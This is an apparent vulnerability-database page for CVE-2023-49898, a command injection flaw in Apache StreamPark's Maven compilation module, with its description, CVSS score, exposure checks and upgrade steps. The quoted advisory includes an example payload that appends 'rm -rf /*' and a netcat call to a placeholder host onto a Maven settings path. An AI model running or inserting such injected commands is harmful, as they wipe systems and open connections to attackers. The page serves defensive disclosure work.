dbcve.org
StreamparkApplication · Apache

CVE-2023-49898

HIGH · 7.2 CVSS v3.1 Published 2023-12-15
Fix available
A fix is available. Upgrade to 2.1.2 or later.
See remediation →
78/100
Remediation priority · High
Remotely reachable Zero-click

Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.

NVD · unedited
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.

dbcve analysis · high confidence

Apache StreamPark contains a command injection vulnerability in its Maven project compilation module. The application fails to validate or sanitize Maven compilation parameters, allowing authenticated users with system-level permissions to inject arbitrary OS commands through specially crafted Maven settings paths. Attackers can chain commands using shell operators like && or ||.

MitigationUpgrade to StreamPark version 2.1.2 or later, which implements proper validation of Maven compilation parameters. Until patched, restrict access to users who genuinely need Maven compilation capabilities and monitor for suspicious command patterns.

Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.

Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.

NVD · CPE data
StreamparkApplication
Affected:>= 2.0.0, < 2.1.2

CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.

From the vector
Attack vector
Network
Complexity
Low
Privileges
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.

dbcve checks

Work through these to decide whether this CVE applies to you.

  1. Identify StreamPark version
    Locate the installed Apache StreamPark version through the administration UI, startup logs, or version file in the installation directory
    Affected if The installed version is 2.0.0 through 2.1.1 (inclusive)
  2. Confirm Maven compilation module access
    Determine if the Maven project compilation feature is enabled and accessible. This is typically found in the project creation or build configuration sections of the StreamPark web interface
    Affected if The Maven compilation module is active and exposed to users
  3. Review user permission assignments
    Examine the user role assignments in StreamPark to identify accounts granted system-level or administrator permissions that include Maven build capabilities
    Affected if There are users with system-level permissions who can access Maven compilation features
  4. Inspect Maven settings configuration
    Check the Maven settings paths configured in StreamPark for the project compilation module for any suspicious characters or unexpected paths
    Affected if Maven settings paths contain shell operators like && or ||, or point to unexpected locations

You are affected if your StreamPark version is between 2.0.0 and 2.1.1 inclusive, the Maven compilation module is enabled, and users with system-level permissions can access it.

Generated from the published advisory. Verify against your own configuration.

Check your environment

Paste your version and any relevant configuration and it will be compared against the affected criteria above. Do not include secrets or credentials.

AI-assisted, checked against the advisory. Informational, not a guarantee.

Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.

dbcve · scoped
Upgrade available Upgrade to 2.1.2 or later
Fixed in 2.1.2
Interim mitigation

Upgrade to StreamPark version 2.1.2 or later, which implements proper validation of Maven compilation parameters. Until patched, restrict access to users who genuinely need Maven compilation capabilities and monitor for suspicious command patterns.

Recommended fix High confidence

2.1.2

  1. Back up your current Streampark installation and database before upgrading
  2. Download Streampark version 2.1.2 from the official Apache repository (https://streampark.apache.org/)
  3. Stop the running Streampark services
  4. Follow the official upgrade documentation to install version 2.1.2
  5. Start the upgraded Streampark services
  6. Verify the upgrade was successful by testing Maven compilation functionality

Generated from the published advisory — verify against the referenced sources before acting.

Fix this in Streampark Scoped from the published advisory
  • Consultation4.0 h
  • Implementation8.0 h
  • Testing6.0 h
  • Review / QA4.0 h
22.0 hours of engineering $3,860
Get the upgrade done

An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $6,176.

Scan for this in your stack

Free · runs locally
dbcve dependency scanner

Check whether your project pulls in CVE-2023-49898 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.

Get it on GitHub Scan in the browser

References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.

Primary sources

Practitioner notes

Contributed

Peer-ranked notes from engineers who’ve handled CVE-2023-49898 in production — separate from our analysis above.

No notes yet

Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.

What this is

A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.

What belongs here
  • Verified mitigations, workarounds, and config changes
  • Version or environment caveats, and links to real fixes
  • No weaponised exploit code, or anything meant to cause harm
  • No spam, self-promotion, credentials, or personal data